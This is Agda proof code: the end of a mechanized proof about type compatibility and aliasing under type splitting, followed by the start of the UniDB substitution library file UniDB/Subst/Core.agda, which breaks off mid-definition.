(proj₂ R'WithProof))) T₄CompatWithR' : All (λ T' → T₄ ⟷ T') R' T₄CompatWithR' = externCompatibility T₄ firstConnected externCompatibility' : (T' : Type) → All (λ T'' → T' ⟷ T'') (T₄ ∷ R) → All (λ T'' → T' ⟷ T'') Ts' externCompatibility' T' (_∷_ {x = x} {xs = xs} px T'CompatWithTs) = px ∷ externCompatibility T' T'CompatWithTs envTypesForSplit {Γ} {.(re μ (ρ IndirectRefContext., l₁ ⦂ objVal o) φ ψ)} {Δ} {l} {o} {T₁} {T₂} {T₃} {Ts} {T} (envTypesConcatMatchNotFound {R = .Ts} {l = l₁} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} .(Δ ,ₗ l ⦂ T₁) o origEnvTypes l₁NotInΔ') lInρ T₁Connected origCompat spl = let lNeql₁ = ≢-sym (∉dom-≢ l₁NotInΔ') lInRestOfρ = IndirectRefContext.irrelevantReductionsOK lInρ lNeql₁ compatibilityWithOrigρ = envTypesForSplit origEnvTypes lInRestOfρ T₁Connected origCompat spl envTypes = envTypesConcatMatchNotFound (Δ ,ₗ l ⦂ T₃) o (proj₁ (proj₂ compatibilityWithOrigρ)) (∉domPreservation l₁NotInΔ' ) in ⟨ proj₁ compatibilityWithOrigρ , ⟨ envTypes , proj₂ (proj₂ compatibilityWithOrigρ) ⟩ ⟩ envTypesForSplit {Γ} {.(re μ (ρ IndirectRefContext., l₁ ⦂ objVal o') φ ψ)} {Δ} {l} {o} {T₁} {T₂} {T₃} {Ts} {T} (envTypesConcatMismatch {R = .Ts} {l = l₁} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} .(Δ ,ₗ l ⦂ T₁) o o' oNeqo' origEnvTypes) lInρ T₁Connected origCompat spl = let oExprNeqo'Expr = λ objValsEq → (objValInjective oNeqo') (Eq.sym objValsEq) lInRestOfρ = IndirectRefContext.irrelevantReductionsInValuesOK lInρ oExprNeqo'Expr compatibilityWithOrigρ = envTypesForSplit origEnvTypes lInRestOfρ T₁Connected origCompat spl envTypes = envTypesConcatMismatch (Δ ,ₗ l ⦂ T₃) o o' oNeqo' (proj₁ (proj₂ compatibilityWithOrigρ)) in ⟨ proj₁ compatibilityWithOrigρ , ⟨ envTypes , proj₂ (proj₂ compatibilityWithOrigρ) ⟩ ⟩ envTypesForSplit {Γ} {.(re μ IndirectRefContext.∅ φ ψ)} {Δ} {l} {o} {T₁} {T₂} {T₃} {.[]} {T} (envTypesEmpty {μ = μ} {φ = φ} {ψ = ψ} {Δ = .(Δ ,ₗ l ⦂ T₁)} {o = .o}) T₁InTs T₁Connected origCompat spl = ⟨ [] , ⟨ envTypesEmpty , ⟨ [] , ⟨ emptyTypeList refl , (λ T' → λ a → []) ⟩ ⟩ ⟩ ⟩ oExtensionIrrelevantToEnvTypes : ∀ {Σ Δ R o o' forbiddenRefs T} → EnvTypes Σ Δ o' forbiddenRefs R → EnvTypes Σ (Δ ,ₒ o ⦂ T) o' forbiddenRefs R oExtensionIrrelevantToEnvTypes {.(re μ (ρ IndirectRefContext., l ⦂ objVal o₁) φ ψ)} {Δ} {.(T₁ ∷ R)} {o} {.o₁} {forbiddenRefs} {T} (envTypesConcatMatchFound {R = R} {l = l} {T = T₁} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} {forbiddenRefs = .forbiddenRefs} Δ o₁ envTypes x x₁) = let recurse = oExtensionIrrelevantToEnvTypes envTypes in envTypesConcatMatchFound (Δ ,ₒ o ⦂ T) o₁ recurse x x₁ oExtensionIrrelevantToEnvTypes {.(re μ (ρ IndirectRefContext., l ⦂ objVal o₁) φ ψ)} {Δ} {R} {o} {.o₁} {forbiddenRefs} {T} (envTypesConcatMatchNotFound {R = .R} {l = l} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} {forbiddenRefs = .forbiddenRefs} Δ o₁ envTypes x) = let recurse = oExtensionIrrelevantToEnvTypes envTypes in envTypesConcatMatchNotFound (Δ ,ₒ o ⦂ T) o₁ recurse x oExtensionIrrelevantToEnvTypes {.(re μ (ρ IndirectRefContext., l ⦂ objVal o') φ ψ)} {Δ} {R} {o} {.o₁} {forbiddenRefs} {T} (envTypesConcatMismatch {R = .R} {l = l} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} {forbiddenRefs = .forbiddenRefs} Δ o₁ o' x envTypes) = let recurse = oExtensionIrrelevantToEnvTypes envTypes in envTypesConcatMismatch (Δ ,ₒ o ⦂ T) o₁ o' x recurse oExtensionIrrelevantToEnvTypes {.(re μ IndirectRefContext.∅ φ ψ)} {Δ} {.[]} {o} {o'} {forbiddenRefs} {T} (envTypesEmpty {μ = μ} {φ = φ} {ψ = ψ} {Δ = .Δ} {o = .o'} {forbiddenRefs = .forbiddenRefs}) = envTypesEmpty envTypesForSplitOMismatch : ∀ {Γ Σ Δ l o' T₁ T₂ T₃ Ts forbiddenRefs} → EnvTypes Σ (Δ ,ₗ l ⦂ T₁) o' forbiddenRefs Ts → IsConnectedTypeList Ts → Γ ⊢ T₁ ⇛ T₂ / T₃ → ∃[ Ts' ] ((EnvTypes Σ (Δ ,ₗ l ⦂ T₃) o' forbiddenRefs Ts') × (IsConnectedTypeList Ts') × (∀ T' → All (λ T'' → T' ⟷ T'') Ts → All (λ T'' → T' ⟷ T'') Ts')) envTypesForSplitOMismatch {Γ} {Σ@.(re μ (ρ IndirectRefContext., l₁ ⦂ objVal o') φ ψ)} {Δ} {l} {.o'} {T₁} {T₂} {T₃} {.(T ∷ R)} {forbiddenRefs} (envTypesConcatMatchFound {R = R} {l = l₁} {T = T} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} {forbiddenRefs = .forbiddenRefs} .(Δ ,ₗ l ⦂ T₁) o' origEnvTypes lookupResult l₁NotForbidden) (consTypeList firstConnected restConnected) spl with l₁ ≟ l ... | yes l₁Eql = -- We looked up l₁ in Δ' and got T₁. We're going to give T₃ now. ⟨ Ts' , ⟨ envTypesTs' , ⟨ (consTypeList T₃CompatWithRestOfEnvTypes restConnected) , externalCompat ⟩ ⟩ ⟩ where Ts' = T₃ ∷ R origEnvTypesWithL1 : EnvTypes (re μ ρ φ ψ) (Δ ,ₗ l₁ ⦂ T₁) o' (l₁ ∷ forbiddenRefs) R origEnvTypesWithL1 = Eq.subst (λ a → EnvTypes (re μ ρ φ ψ) (Δ ,ₗ a ⦂ T₁) o' (l₁ ∷ forbiddenRefs) R) (Eq.sym l₁Eql) origEnvTypes forbiddenOK = envTypesForbiddenRefsObserved {T' = T₃} Δ o' (here refl) origEnvTypesWithL1 forbiddenOKInL₁ : EnvTypes (re μ ρ φ ψ) (Δ ,ₗ l ⦂ T₃) o' (l₁ ∷ forbiddenRefs) R forbiddenOKInL₁ = Eq.subst (λ a → EnvTypes (re μ ρ φ ψ) (Δ ,ₗ a ⦂ T₃) o' (l₁ ∷ forbiddenRefs) R) l₁Eql forbiddenOK envTypesTs' : EnvTypes Σ (Δ ,ₗ l ⦂ T₃) o' forbiddenRefs Ts' envTypesTs' = envTypesConcatMatchFound ((Δ ,ₗ l ⦂ T₃)) o' forbiddenOKInL₁ ( (Eq.subst (λ a → StaticEnv.locEnv Δ , a ⦂ T₃ ∋ l₁ ⦂ T₃) l₁Eql Z)) l₁NotForbidden lookupResultWithl : (StaticEnv.locEnv Δ , l ⦂ T₁) ∋ l ⦂ T lookupResultWithl = Eq.subst (λ a → StaticEnv.locEnv Δ , l ⦂ T₁ ∋ a ⦂ T) l₁Eql lookupResult TEqT₁ : T ≡ T₁ TEqT₁ = contextLookupUnique lookupResultWithl Z T₄CompatWithRestOfEnvTypes = firstConnected T₁CompatWithRestOfEnvTypes = Eq.subst (λ a → All (λ T' → a ⟷ T') R) TEqT₁ T₄CompatWithRestOfEnvTypes T₂CompatWithRestOfEnvTypes : All (λ T' → T₂ ⟷ T') R T₂CompatWithRestOfEnvTypes = t₁CompatibilityImpliest₂Compatibility T₁CompatWithRestOfEnvTypes spl T₂CompatWithT₃ = splitCompatibility spl -- Need to prove everything in R is connected to T₃, given that everything in R is connected to T₄ (≡ T₁). -- Follows from splittingRespectsHeap. T₃CompatWithRestOfEnvTypes : All (λ T' → T₃ ⟷ T') R T₃CompatWithRestOfEnvTypes = t₁CompatibilityImpliest₃Compatibility T₁CompatWithRestOfEnvTypes spl externalCompat : (T' : Type) → All (λ T'' → T' ⟷ T'') (T ∷ R) → All (λ T'' → T' ⟷ T'') Ts' externalCompat T' (_∷_ {x = x} {xs = xs} px T'CompatWithTs) = let T'CompatT₁ = Eq.subst (λ a → T' ⟷ a) TEqT₁ px T'CompatT₃ = proj₂ (splittingRespectsHeap spl T'CompatT₁) in T'CompatT₃ ∷ T'CompatWithTs ... | no l₁Neql with T ≟t T₁ ... | yes TEqT₁ = ⟨ Ts' , ⟨ envTypesTs' , ⟨ consTypeList TCompatWithR' (proj₁ (proj₂ (proj₂ R'WithProof))) , externCompatibility' ⟩ ⟩ ⟩ where -- Because we're in envTypeConcatMatchFound, l₁ ⦂ o was at the end of the context, and we found l₁ ⦂ T₄ in Δ , l ⦂ T₁. -- But l ≢ l₁, so we will be able to find l₁ ⦂ T₄ in Δ and use the same rule. -- However, there may be l's in ρ, which may result in a different R than before! Some T₁'s may be replaced with T₃'s. R'WithProof = envTypesForSplitOMismatch origEnvTypes restConnected spl R' = proj₁ R'WithProof Ts' = T ∷ R' l₁InΔ : ((StaticEnv.locEnv Δ) , l ⦂ T₃) ∋ l₁ ⦂ T l₁InΔ = irrelevantExtensionsOK {t = T} {t' = T₃} (irrelevantReductionsOK lookupResult l₁Neql) l₁Neql envTypesTs' = envTypesConcatMatchFound (Δ ,ₗ l ⦂ T₃) o' (proj₁ (proj₂ R'WithProof)) l₁InΔ l₁NotForbidden externCompatibility = proj₂ (proj₂ (proj₂ R'WithProof)) TCompatWithR' : All (λ T' → T ⟷ T') R' TCompatWithR' = externCompatibility T firstConnected externCompatibility' : (T' : Type) → All (λ T'' → T' ⟷ T'') (T ∷ R) → All (λ T'' → T' ⟷ T'') Ts' externCompatibility' T' (_∷_ {x = x} {xs = xs} px T'CompatWithTs) = px ∷ externCompatibility T' T'CompatWithTs ... | no TNeqT₁ = ⟨ Ts' , ⟨ envTypesTs' , ⟨ consTypeList T₄CompatWithR' (proj₁ (proj₂ (proj₂ R'WithProof))) , externCompatibility' ⟩ ⟩ ⟩ where -- Because we're in envTypeConcatMatchFound, l₁ ⦂ o was at the end of the context, and we found l₁ ⦂ T₄ in Δ , l ⦂ T₁. -- But l ≢ l₁, so we will be able to find l₁ ⦂ T₄ in Δ and use the same rule. -- However, there may be l's in ρ, which may result in a different R than before! Some T₁'s may be replaced with T₃'s. R'WithProof = envTypesForSplitOMismatch origEnvTypes restConnected spl R' = proj₁ R'WithProof Ts' = T ∷ R' l₁InΔ : ((StaticEnv.locEnv Δ) , l ⦂ T₃) ∋ l₁ ⦂ T l₁InΔ = irrelevantExtensionsOK {t = T} {t' = T₃} (irrelevantReductionsOK lookupResult l₁Neql) l₁Neql envTypesTs' = envTypesConcatMatchFound (Δ ,ₗ l ⦂ T₃) o' (proj₁ (proj₂ R'WithProof)) l₁InΔ l₁NotForbidden externCompatibility = proj₂ (proj₂ (proj₂ R'WithProof)) T₄CompatWithR' : All (λ T' → T ⟷ T') R' T₄CompatWithR' = externCompatibility T firstConnected externCompatibility' : (T' : Type) → All (λ T'' → T' ⟷ T'') (T ∷ R) → All (λ T'' → T' ⟷ T'') Ts' externCompatibility' T' (_∷_ {x = x} {xs = xs} px T'CompatWithTs) = px ∷ externCompatibility T' T'CompatWithTs envTypesForSplitOMismatch {Γ} {.(re μ (ρ IndirectRefContext., l₁ ⦂ objVal o') φ ψ)} {Δ} {l} {.o'} {T₁} {T₂} {T₃} {Ts} {forbiddenRefs} (envTypesConcatMatchNotFound {R = .Ts} {l = l₁} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} {forbiddenRefs = .forbiddenRefs} .(Δ ,ₗ l ⦂ T₁) o' origEnvTypes l₁NotInΔ') origCompat spl = let compatibilityWithOrigρ = envTypesForSplitOMismatch origEnvTypes origCompat spl envTypes = envTypesConcatMatchNotFound (Δ ,ₗ l ⦂ T₃) o' (proj₁ (proj₂ compatibilityWithOrigρ)) (∉domPreservation l₁NotInΔ' ) in ⟨ proj₁ compatibilityWithOrigρ , ⟨ envTypes , proj₂ (proj₂ compatibilityWithOrigρ) ⟩ ⟩ envTypesForSplitOMismatch {Γ} {.(re μ (ρ IndirectRefContext., l₁ ⦂ objVal o') φ ψ)} {Δ} {l} {o''} {T₁} {T₂} {T₃} {Ts} {forbiddenRefs} (envTypesConcatMismatch {R = .Ts} {l = l₁} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} {forbiddenRefs = .forbiddenRefs} .(Δ ,ₗ l ⦂ T₁) o'' o' o''Neqo' origEnvTypes) origCompat spl = -- We know l : o is in ρ, and we're looking for matches o'', but the last item doesn't match because o' ≢ o''. let compatibilityWithOrigρ = envTypesForSplitOMismatch origEnvTypes origCompat spl -- o'NeqO origCompat spl envTypes = envTypesConcatMismatch (Δ ,ₗ l ⦂ T₃) o'' o' o''Neqo' (proj₁ (proj₂ compatibilityWithOrigρ)) in ⟨ proj₁ compatibilityWithOrigρ , ⟨ envTypes , proj₂ (proj₂ compatibilityWithOrigρ) ⟩ ⟩ envTypesForSplitOMismatch {Γ} {.(re μ IndirectRefContext.∅ φ ψ)} {Δ} {l} {o} {T₁} {T₂} {T₃} {.[]} {T} (envTypesEmpty {μ = μ} {φ = φ} {ψ = ψ} {Δ = .(Δ ,ₗ l ⦂ T₁)} {o = .o}) origCompat spl = ⟨ [] , ⟨ envTypesEmpty , ⟨ emptyTypeList refl , (λ T' → λ a → []) ⟩ ⟩ ⟩ iterateExternalCompat : ∀ {E E'} → {L : List Type} → (∀ T' → All (λ T'' → T' ⟷ T'') E → All (λ T'' → T' ⟷ T'') E') → All (λ T → All (λ T' → T ⟷ T') E) L → All (λ T → All (λ T' → T ⟷ T') E') L iterateExternalCompat {L = []} externalCompat allCompat = [] iterateExternalCompat {L = T ∷ rest} externalCompat (_∷_ {x = .T} {xs = .rest} TCompat restCompat) = (externalCompat T TCompat) ∷ (iterateExternalCompat {L = rest} externalCompat restCompat) -- Previously, all the types aliasing o were connected. Now, we've extended the context due to a split, and we need to show we still have connectivity. -- The idea here is that the expression in question is of type T₂, so the reference left in the heap is of type T₃. -- o corresponds to the bject that was affected by the split, whereas o' is the reference we are interested in analyzing aliases to. splitReplacementOK : ∀ {Γ Σ Δ o o' l} → {t₁ t₂ : Tc} → {T₁ T₂ T₃ : Type} → (T₁EqctT₁ : T₁ ≡ (contractType t₁)) → (T₂EqctT₂ : T₂ ≡ (contractType t₂)) → (globalConsistency : (Σ & (Δ ,ₗ l ⦂ T₁) ok)) → o ≡ proj₁ (locLookup {T = t₁} globalConsistency (Eq.subst (λ a → StaticEnv.locEnv (Δ ,ₗ l ⦂ T₁) ∋ l ⦂ a) T₁EqctT₁ (TypeEnvContext.Z {StaticEnv.locEnv Δ} {l} {T₁}) )) → (RT : RefTypes Σ (Δ ,ₗ l ⦂ T₁) o') → IsConnected Σ (Δ ,ₗ l ⦂ T₁) o' RT → Γ ⊢ T₁ ⇛ T₂ / T₃ → ∃[ RT' ] (IsConnected Σ ((Δ ,ₗ l ⦂ T₃) ,ₒ o ⦂ T₂) o' RT') splitReplacementOK {Γ} {Σ} {Δ} {o} {o'} {l} {t₁} {t₂} {T₁} {T₂} {T₃} refl refl origConsis@(ok _ _ _ objLookup refConsistencyFunc) refl RT rConnected@(isConnected _ oTypesListConnected oConnectedToFieldTypes oConnectedToLTypes envFieldConnected@(envTypesConnected _ etc fieldTypesConnected fieldEnvTypesConnected)) spl with (o' ≟ o) ... | yes osEq = -- In this case, there are no O types yet, but adding o ⦂ T₂ will add one. ⟨ RT' , isConnected RT' TsForOsConnected TsForOsConnectedToFieldTypes TsForOsConnectedToLTypes envAndFieldConnected ⟩ where Δ' = ((Δ ,ₗ l ⦂ T₃) ,ₒ o ⦂ T₂) TsForOs = [ T₂ ] -- Since o ≡ o', when we look up o' in the new context, we'll get T₂. o'TypeExtension : [ T₂ ] ≡ ctxTypes (StaticEnv.objEnv Δ Context., o' ⦂ T₂) o' o'TypeExtension = ctxTypesExtension {StaticEnv.objEnv (Δ ,ₗ l ⦂ T₃)} {o'} {T₂} RT'o'TypesEq : [ T₂ ] ≡ ctxTypes (StaticEnv.objEnv Δ') o' RT'o'TypesEq = Eq.subst (λ a → ([ T₂ ] ≡ (ctxTypes (StaticEnv.objEnv Δ , a ⦂ T₂) o'))) (osEq) o'TypeExtension lLookupResult = objLookup l t₁ Z oForL = proj₁ lLookupResult lInρ = proj₁ (proj₂ lLookupResult) -- Can I show that T₂ is compatible with all of the old env types? Because that's really what I need. lInρForFindLocation = (Eq.subst (λ a → RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ objVal a) (Eq.sym osEq) lInρ) TInEnvTypes = findLocationInEnvTypes (RefTypes.envTypesList RT) (RefTypes.envTypes RT) etc lInρForFindLocation newEnvTypes = envTypesForSplit (RefTypes.envTypes RT) lInρForFindLocation (proj₂ TInEnvTypes) etc spl RT' : RefTypes Σ Δ' o' RT' = record {oTypesList = TsForOs ; oTypes = Eq.sym (RT'o'TypesEq) ; envTypesList = proj₁ newEnvTypes ; envTypes = oExtensionIrrelevantToEnvTypes (proj₁ (proj₂ newEnvTypes)) ; fieldTypesList = RefTypes.fieldTypesList RT} -- field types are unchanged. TsForOsIsRight : TsForOs ≡ (RefTypes.oTypesList RT') TsForOsIsRight = Eq.trans RT'o'TypesEq (RefTypes.oTypes RT') TsForOsConnected : IsConnectedTypeList (RefTypes.oTypesList RT') TsForOsConnected = (Eq.subst (λ a → IsConnectedTypeList a) TsForOsIsRight (singleElementListsAreConnected T₂)) -- Need to find the proof that T₁ is compatible with all the field types and use it directly. It has to be in there somewhere. -- Specifically, it has to be in envFieldConnected because T₁ has to have been in the old env types. oldEnvFieldsCompatible : All (λ T → All (_⟷_ T) (RefTypes.fieldTypesList RT)) (RefTypes.envTypesList RT) oldEnvFieldsCompatible = envFieldInversion3 envFieldConnected -- One of the items in oldEnvFieldsCompatible is proof that T₁ is connected to everything in fieldTypesList! But which one? T₁CompatWithAllFieldTypes : All (λ T' → T₁ ⟷ T') (RefTypes.fieldTypesList RT) T₁CompatWithAllFieldTypes = prevCompatibilityImpliesCompatibility RT (RefTypes.fieldTypesList RT) oldEnvFieldsCompatible etc (Eq.subst (λ a → RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ objVal a) (Eq.sym osEq) lInρ) T₂CompatWithAllFieldTypes = t₁CompatibilityImpliest₂Compatibility T₁CompatWithAllFieldTypes spl TsForOsConnectedToFieldTypes : All (λ T → All (λ T' → T ⟷ T') (RefTypes.fieldTypesList RT')) (RefTypes.oTypesList RT') TsForOsConnectedToFieldTypes = T₂CompatWithAllFieldTypes ∷ [] T₂ConnectedToLTypes : All (λ T → All (λ T' → T ⟷ T') (RefTypes.envTypesList RT')) [ T₂ ] T₂ConnectedToLTypes = proj₁ (proj₂ (proj₂ newEnvTypes)) ∷ [] TsForOsConnectedToLTypes : All (λ T → All (λ T' → T ⟷ T') (RefTypes.envTypesList RT')) (RefTypes.oTypesList RT') TsForOsConnectedToLTypes = Eq.subst (λ a → All (λ T → All (λ T' → T ⟷ T') (RefTypes.envTypesList RT')) a) TsForOsIsRight T₂ConnectedToLTypes externalCompat : ∀ T' → All (λ T'' → T' ⟷ T'') (RefTypes.envTypesList RT) → All (λ T'' → T' ⟷ T'') (RefTypes.envTypesList RT') externalCompat = proj₂ (proj₂ (proj₂ (proj₂ newEnvTypes))) insideOutEnvTypesFieldTypesCompat : All (λ T → All (λ T' → T ⟷ T') (RefTypes.envTypesList RT)) (RefTypes.fieldTypesList RT) insideOutEnvTypesFieldTypesCompat = allInsideOut splitSymmetric fieldEnvTypesConnected -- turn prev. inside out newEnvTypesCompatWithFieldTypes : All (λ T → All (λ T' → T ⟷ T') (RefTypes.envTypesList RT')) (RefTypes.fieldTypesList RT) newEnvTypesCompatWithFieldTypes = iterateExternalCompat {L = RefTypes.fieldTypesList RT} externalCompat insideOutEnvTypesFieldTypesCompat newEnvTypesCompatWithNewFieldTypes : All (λ T → All (λ T' → T ⟷ T') (RefTypes.envTypesList RT')) (RefTypes.fieldTypesList RT') newEnvTypesCompatWithNewFieldTypes = newEnvTypesCompatWithFieldTypes -- b/c old field types ≡ new field types envTypesCompatibleWithFieldTypes : All (λ T → All (λ T' → T ⟷ T') (RefTypes.fieldTypesList RT')) (RefTypes.envTypesList RT') envTypesCompatibleWithFieldTypes = allInsideOut splitSymmetric newEnvTypesCompatWithNewFieldTypes -- turn prev. inside out envAndFieldConnected : IsConnectedEnvAndField Σ ((Δ ,ₗ l ⦂ T₃) ,ₒ o ⦂ T₂) o' RT' envAndFieldConnected = envTypesConnected RT' ( proj₁ (proj₂ (proj₂ (proj₂ newEnvTypes)))) fieldTypesConnected envTypesCompatibleWithFieldTypes ... | no osNeq = -- The change in Δ has no impact on looking up o', since o' ≢ o. let lLookupResult = objLookup l t₁ Z oForL = proj₁ lLookupResult lInρ = proj₁ (proj₂ lLookupResult) Δ' = ((Δ ,ₗ l ⦂ T₃) ,ₒ o ⦂ T₂) oTypesUnchanged : ctxTypes (StaticEnv.objEnv Δ') o' ≡ ctxTypes (StaticEnv.objEnv (Δ ,ₗ l ⦂ T₃)) o' oTypesUnchanged = ctxTypesExtensionNeq osNeq newEnvTypes = envTypesForSplitOMismatch (RefTypes.envTypes RT) etc spl RT' = record { oTypesList = RefTypes.oTypesList RT ; oTypes = Eq.trans oTypesUnchanged (RefTypes.oTypes RT) ; envTypesList = proj₁ newEnvTypes ; envTypes = oExtensionIrrelevantToEnvTypes (proj₁ (proj₂ newEnvTypes)) ; fieldTypesList = RefTypes.fieldTypesList RT } externalCompat = proj₂ (proj₂ (proj₂ newEnvTypes)) TsForOsConnectedToLTypes = iterateExternalCompat externalCompat oConnectedToLTypes insideOutEnvTypesFieldTypesCompat : All (λ T → All (λ T' → T ⟷ T') (RefTypes.envTypesList RT)) (RefTypes.fieldTypesList RT) insideOutEnvTypesFieldTypesCompat = allInsideOut splitSymmetric fieldEnvTypesConnected -- turn prev. inside out newEnvTypesCompatWithFieldTypes : All (λ T → All (λ T' → T ⟷ T') (RefTypes.envTypesList RT')) (RefTypes.fieldTypesList RT) newEnvTypesCompatWithFieldTypes = iterateExternalCompat {L = RefTypes.fieldTypesList RT} externalCompat insideOutEnvTypesFieldTypesCompat newEnvTypesCompatWithNewFieldTypes : All (λ T → All (λ T' → T ⟷ T') (RefTypes.envTypesList RT')) (RefTypes.fieldTypesList RT') newEnvTypesCompatWithNewFieldTypes = newEnvTypesCompatWithFieldTypes -- b/c old field types ≡ new field types envTypesCompatibleWithFieldTypes : All (λ T → All (λ T' → T ⟷ T') (RefTypes.fieldTypesList RT')) (RefTypes.envTypesList RT') envTypesCompatibleWithFieldTypes = allInsideOut splitSymmetric newEnvTypesCompatWithNewFieldTypes -- turn prev. inside out envAndFieldConnected = envTypesConnected RT' ( proj₁ (proj₂ (proj₂ newEnvTypes))) fieldTypesConnected envTypesCompatibleWithFieldTypes in ⟨ RT' , isConnected RT' oTypesListConnected oConnectedToFieldTypes TsForOsConnectedToLTypes envAndFieldConnected ⟩
UniDB/Subst/Core.agda
skeuchel/unidb-agda
0
1772
<reponame>skeuchel/unidb-agda<filename>UniDB/Subst/Core.agda module UniDB.Subst.Core where open import UniDB.Spec public open import UniDB.Morph.Unit record Ap (T X : STX) : Set₁ where field ap : {Ξ : MOR} {{lkTΞ : Lk T Ξ}} {{upΞ : Up Ξ}} {γ₁ γ₂ : Dom} (ξ : Ξ γ₁ γ₂) (x : X γ₁) → X γ₂ open Ap {{...}} public record ApVr (T : STX) {{vrT : Vr T}} {{apTT : Ap T T}} : Set₁ where field ap-vr : {Ξ : MOR} {{lkTΞ : Lk T Ξ}} {{upΞ : Up Ξ}} {γ₁ γ₂ : Dom} (ξ : Ξ γ₁ γ₂) → (i : Ix γ₁) → ap {T} ξ (vr i) ≡ lk {T} ξ i open ApVr {{...}} public record LkCompAp (T : STX) {{vrT : Vr T}} {{apTT : Ap T T}} (Ξ : MOR) {{lkTΞ : Lk T Ξ}} {{upΞ : Up Ξ}} {{compΞ : Comp Ξ}} : Set₁ where field lk-⊙-ap : {γ₁ γ₂ γ₃ : Dom} (ξ₁ : Ξ γ₁ γ₂) (ξ₂ : Ξ γ₂ γ₃) (i : Ix γ₁) → lk {T} (ξ₁ ⊙ ξ₂) i ≡ ap {T} ξ₂ (lk ξ₁ i) open LkCompAp {{...}} public record ApIdm (T : STX) {{vrT : Vr T}} (X : STX) {{apTX : Ap T X}} : Set₁ where field ap-idm : {Ξ : MOR} {{lkTΞ : Lk T Ξ}} {{upΞ : Up Ξ}} {{idmΞ : Idm Ξ}} {{lkIdmTΞ : LkIdm T Ξ}} {{upIdmΞ : UpIdm Ξ}} {γ : Dom} (x : X γ) → ap {T} (idm {Ξ} γ) x ≡ x open ApIdm {{...}} public record ApRel (T : STX) {{vrT : Vr T}} (X : STX) {{apTX : Ap T X}} : Set₁ where field ap-rel≅ : {Ξ : MOR} {{lkTΞ : Lk T Ξ}} {{upΞ : Up Ξ}} {Ζ : MOR} {{lkTΖ : Lk T Ζ}} {{upΖ : Up Ζ}} {γ₁ γ₂ : Dom} {ξ : Ξ γ₁ γ₂} {ζ : Ζ γ₁ γ₂} (hyp : [ T ] ξ ≅ ζ) (x : X γ₁) → ap {T} ξ x ≡ ap {T} ζ x ap-rel≃ : {{wkT : Wk T}} {Ξ : MOR} {{lkTΞ : Lk T Ξ}} {{upΞ : Up Ξ}} {{lkUpTΞ : LkUp T Ξ}} {Ζ : MOR} {{lkTΖ : Lk T Ζ}} {{upΖ : Up Ζ}} {{lkUpTΖ : LkUp T Ζ}} {γ₁ γ₂ : Dom} {ξ : Ξ γ₁ γ₂} {ζ : Ζ γ₁ γ₂} (hyp : [ T ] ξ ≃ ζ) (x : X γ₁) → ap {T} ξ x ≡ ap {T} ζ x ap-rel≃ hyp = ap-rel≅ (≃-to-≅` (≃-↑ hyp)) open ApRel {{...}} public module _ (T : STX) {{vrT : Vr T}} {{wkT : Wk T}} (X : STX) {{wkX : Wk X}} {{apTX : Ap T X}} where record ApWkmWk : Set₁ where field ap-wkm-wk₁ : {Ξ : MOR} {{lkTΞ : Lk T Ξ}} {{upΞ : Up Ξ}} {{wkmΞ : Wkm Ξ}} {{lkUpTΞ : LkUp T Ξ}} {{lkWkmTΞ : LkWkm T Ξ}} {γ : Dom} (x : X γ) → ap {T} (wkm {Ξ} 1) x ≡ wk₁ x ap-wkm-wk : {Ξ : MOR} {{lkTΞ : Lk T Ξ}} {{upΞ : Up Ξ}} {{wkmΞ : Wkm Ξ}} {{lkUpTΞ : LkUp T Ξ}} {{lkWkmTΞ : LkWkm T Ξ}} {γ : Dom} (δ : Dom) (x : X γ) → ap {T} (wkm {Ξ} δ) x ≡ wk δ x open ApWkmWk {{...}} public module _ (T : STX) {{vrT : Vr T}} {{wkT : Wk T}} (X : STX) {{wkX : Wk X}} {{apTX : Ap T X}} where record ApWk : Set₁ where field ap-wk₁ : {Ξ : MOR} {{lkTΞ : Lk T Ξ}} {{upΞ : Up Ξ}} {{lkUpTΞ : LkUp T Ξ}} {γ₁ γ₂ : Dom} (ξ : Ξ γ₁ γ₂) (x : X γ₁) → ap {T} (ξ ↑₁) (wk₁ x) ≡ wk₁ (ap {T} ξ x) open ApWk {{...}} public module _ (T : STX) {{vrT : Vr T}} {{wkT : Wk T}} {{apTT : Ap T T}} (X : STX) {{apTX : Ap T X}} where record ApComp : Set₁ where field ap-⊙ : {Ξ : MOR} {{lkTΞ : Lk T Ξ}} {{upΞ : Up Ξ}} {{compΞ : Comp Ξ}} {{upCompΞ : UpComp Ξ}} {{lkCompTΞ : LkCompAp T Ξ}} {γ₁ γ₂ γ₃ : Dom} (ξ₁ : Ξ γ₁ γ₂) (ξ₂ : Ξ γ₂ γ₃) → (x : X γ₁) → ap {T} (ξ₁ ⊙ ξ₂) x ≡ ap {T} ξ₂ (ap {T} ξ₁ x) open ApComp {{...}} public instance iApIx : Ap Ix Ix ap {{iApIx}} = lk iApVrIx : ApVr Ix ap-vr {{iApVrIx}} ξ i = refl iApIdmIxIx : ApIdm Ix Ix ap-idm {{iApIdmIxIx}} {Ξ} = lk-idm {Ix} {Ξ} iApWkmWkIxIx : ApWkmWk Ix Ix ap-wkm-wk₁ {{iApWkmWkIxIx}} {Ξ} = lk-wkm {Ix} {Ξ} 1 ap-wkm-wk {{iApWkmWkIxIx}} {Ξ} = lk-wkm {Ix} {Ξ} iApRelIxIx : ApRel Ix Ix ap-rel≅ {{iApRelIxIx}} = lk≃ ∘ ≅-to-≃ iApWkIxIx : ApWk Ix Ix ap-wk₁ {{iApWkIxIx}} {Ξ} ξ i = lk-↑₁-suc {Ix} {Ξ} ξ i -- TODO: Remove module _ (T : STX) {{vrT : Vr T}} {{apTT : Ap T T}} (Ξ : MOR) {{lkTΞ : Lk T Ξ}} {{upΞ : Up Ξ}} (Ζ : MOR) {{lkTΖ : Lk T Ζ}} {{upΖ : Up Ζ}} (Θ : MOR) {{lkTΘ : Lk T Θ}} {{upΘ : Up Θ}} {{hcompΞΖΘ : HComp Ξ Ζ Θ}} where record LkHCompAp : Set₁ where field lk-⊡-ap : {γ₁ γ₂ γ₃ : Dom} (ξ : Ξ γ₁ γ₂) (ζ : Ζ γ₂ γ₃) (i : Ix γ₁) → lk {T} {Θ} (ξ ⊡ ζ) i 